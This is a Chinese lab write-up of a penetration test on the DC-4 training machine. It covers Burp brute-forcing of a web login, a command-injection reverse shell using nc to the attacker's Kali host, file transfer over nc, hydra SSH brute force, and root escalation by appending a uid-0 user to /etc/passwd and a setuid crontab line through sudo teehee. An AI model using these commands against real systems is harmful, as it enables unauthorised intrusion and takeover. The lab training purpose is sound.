9.100个渗透测试实战#9(DC-4)

本文阅读 9 分钟
首页 代码,C/C#/C++ 正文

世间一切皆可努力

目录

 

一、实验环境

二、实验流程

三、实验步骤

(一)信息收集——主机发现阶段

1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)

2.查看靶机页面;

3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)

4.分析所得:

(二)信息收集——端口(服务)扫描阶段

1.扫描靶机的端口、服务、running_OS等信息;

2.分析所得:

(三)渗透测试——80端口(http服务)

1.枚举靶机网站的目录和页面等;

2.在扫描的同时,访问主页、robots.txt、指纹识别;

3.访问以上扫描的结果;

4.分析所得:

5.结合BP暴力破解该网站后台;

6.关闭BP代理,使用破解的密码happy登录后台;

7.分析所得:

(四)渗透测试——利用命令执行漏洞,Getshell

1.kali侦听,命令执行漏洞发起连接请求;

2.转换为交互式shell;

(六)渗透测试——开始致命连问,进一步信息收集,从而提升权限

1.开始致命连问;

2.分析所得:

3.hydra暴力破解ssh服务;

4.使用ssh连接工具,连接jim,进一步信息收集;

5.切换用户到charles,进一步信息收集;

6.使用teehee提权;

7.获取root家目录下的flag;

(七)清楚痕迹,留下后门

四、总结

1.在一定情况下是可以进行暴力破解登录框的(结合BP);

2.使用teehee命令的-a参数,可以写用户进/etc/passwd,也可以写定时任务/etc/crontab;

  • 靶机:DC-4,IP地址:192.168.97.155
  • 测试机:Kali,IP地址:192.168.97.129
  • 测试机:物理机Win10
  • 连接方式:NAT
  • 信息收集——主机发现阶段
  • 信息收集——端口(服务)扫描阶段
  • 渗透测试——80端口(BP暴力破解登录框)
  • 渗透测试——Getshell(命令执行漏洞:nc -nv 192.168.97.129 8443 -c bash)
  • 渗透测试——22端口获取jim的shell
  • 渗透测试——通过提示获取charles的shell
  • 渗透测试——本地提权(通过sudo -l的提示进行teehee提权)
  • 清楚痕迹,留下后门

(一)信息收集——主机发现阶段

1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)

  • ifconfig -a

       -a    显示详细信息

img

2.查看靶机页面;

img

3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)

  • netdiscover -i eth0 -r 192.168.97.0/24

           -i   指定出口网卡

           -r   指定待扫描网段

img

  • arp-scan -l

           --localnet or -l    指定扫描本地网络 

img

  • nmap -sP 192.168.97.0/24

           -sP   ping扫描且不扫描端口

img

4.分析所得:

  • 靶机:192.168.97.155
  • 测试机kali:192.168.97.129

(二)信息收集——端口(服务)扫描阶段

1.扫描靶机的端口、服务、running_OS等信息;

  • nmap -p- -sV -O -A 192.168.97.129

            -p-      扫描全端口

            -sV     扫描端口的服务信息

            -O/A   扫描靶机的运行的操作系统信息img

2.分析所得:

  • 共扫描65535个端口,只有两个端口打开;
  • 22端口处于open状态,对应开启了ssh服务;
  • 80端口处于open状态,对应开启了http服务,使用中间件是nginx;
  • 靶机的操作系统是Debian,推测内核版本是3.2-4.9之间;

(三)渗透测试——80端口(http服务)

1.枚举靶机网站的目录和页面等;

            如下图所示,就两个目录:css和images

img

img

2.在扫描的同时,访问主页、robots.txt、指纹识别;

          如下图所示,这个是admin管理员用户后台登录页面,f12也无可用信息

img

img

img

3.访问以上扫描的结果;

img

img

4.分析所得:

  • 一个登录页面,用户名猜测是admin;
  • 可以试试暴力破解。。。

5.结合BP暴力破解该网站后台;

  • 火狐浏览器使用FoxyProxy,打开BP代理

img

  • BP拦截

img

  • 设置Positions

img

  • 设置payloads

img

  • 点击start attack

            如下图所示,破解出密码为happy

img

6.关闭BP代理,使用破解的密码happy登录后台;

  • admin:happy

           如下图所示,登录成功,发现了命令执行漏洞;

img

  • 打开BP代理,结合BP,测试命令执行漏洞

           如下图所示,发现了空格被+代替

img

  • ctrl+r,送入repeater模块,进行多次尝试

img

  • cat+/etc/passwd

           如下图所示,发现了三个可疑用户

img

7.分析所得:

  • 利用nc -nv 192.168.97.129 -c bash或者nc -e /bin/bash 192.168.97.129反弹shell;

(四)渗透测试——利用命令执行漏洞,Getshell

1.kali侦听,命令执行漏洞发起连接请求;

  • kali开启侦听,nc -nvlp 8443

img

  • BP拦截命令----->修改命令为:nc -nv 192.168.97.129 8443 -c bash  ------>Forward放通即可

              把+替换成空白得:nc+-nv+192.168.97.129+8443+-c+bash

img

  • Forward放通后,反弹后的shell如下图所示

img

2.转换为交互式shell;

  • python -c 'import pty;pty.spawn("/bin/bash")'

img

(六)渗透测试——开始致命连问,进一步信息收集,从而提升权限

1.开始致命连问;

  • whoami

          如下图所示,当前用户是www-data

                 

                 在debian/ubuntu上,www-data是默认运行web服务的用户/组,一般在通过apt安装web服务程序时生成。搭建web服                     务的文件夹/文件一般要设置成www-data的

img

  • id

img

  • ls -l /home

img

  • ls -la /hoem/jim

          发现,只有jim的家目录下有三个文件:

               backups目录,其他人可读可执行

               mbox文件,其他人无任何权限

               test.sh文件,其他人可读可写可执行权限

img

  • ls -l /home/jim/backups

            如下图所示,发现了一个旧密码字典;

img

  • cat test.sh

           //我竟然看不懂。。。。。。。。

img

2.分析所得:

  • 在jim家目录里面发现了一个密码字典;
  • 一个看不懂的sh脚本;
  • 注意:还有ssh服务开启了,推测结合密码字典,使用ssh登录jim;

3.hydra暴力破解ssh服务;

  • 使用nc功能,把字典传输到kali

          kali:nc -lp 1234 > old-passwords.bak

          shell:nc -nv 192.168.97.129 1234 < old-passwords.bak

img

  • hydra -l jim -P pass.dic ssh://192.168.97.155 -s 22

         -l     小写的l,后紧跟用户名

         -P   大写的P,后紧跟密码字典

         ssh://   ssh服务

         -s    指定端口

       如下图所示,login:jim  password:jibril04

img

4.使用ssh连接工具,连接jim,进一步信息收集;

  • MobaXterm连接jim

         如下图所示,登录成功

img

  • cat mbox

        如下图所示,发现是一个mail

img

  • cd /var/mail
  • ls -l
  • cat jim

          如下图所示,发现了Charles的密码^xHhA&hvim0y(注意:由于是信的署名,字母首字母才是大写,所以用户名是                      charles)

img

5.切换用户到charles,进一步信息收集;

  • su charles

        密码:^xHhA&hvim0y

img

  • sudo -l

         如下图所示,发现了可以用root身份空密码使用/usr/bin/teehee命令

img

6.使用teehee提权;

第一种方法:向/etc/passwd里面直接写入一个用户,uid写为0,gid写为0

  • cat /etc/passwd

         如下图所示,/etc/passwd里存储的内容如下:用户名+密码+uid+gid+描述+家目录+/bin/bash

img

  • 根据/etc/passwd的提示,我们利用teehee命令向/etc/passwd内写一个uid和gid为0的用户(其用户名为teehee)

         echo "teehee::0:0:0:::/bin/bash" | sudo teehee -a /etc/passwd

              |  管道符,把前面一个命令的输出当作后一个命令的输入进行其操作

              -a, --append              append to the given FILEs, do not overwrite(追加到给定文件,不覆盖)

img

  • cat /etc/passwd

           如下图所示,成功写入了用户teehee,且uid和gid为0,shell为/bin/bash,就有了root权限了

img

  • su teehee,切换用户,成为root

img

 

第二种提权方法:向/etc/crontab文件中写入新的定时任务,通过定时任务执行脚本提权

  • echo " * root chmod 4777 /bin/sh"  | sudo teehee -a /etc/crontab  

        时间部分全部填写为*,这样默认这个定时任务每分钟执行一次,可以根据情况自行设定。通过执行的脚本将/bin/sh的权限            修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限

img

  • cat /etc/crontab

img

  • ls -la /bin/sh
  • ls -la /bin/dash

img

  • /bin/sh   提升权限

img

7.获取root家目录下的flag;

  • cd /root
  • ls
  • cat flag.txt

img

(七)清楚痕迹,留下后门

1.在一定情况下是可以进行暴力破解登录框的(结合BP);

2.使用teehee命令的-a参数,可以写用户进/etc/passwd,也可以写定时任务/etc/crontab;

 

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/105182774
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复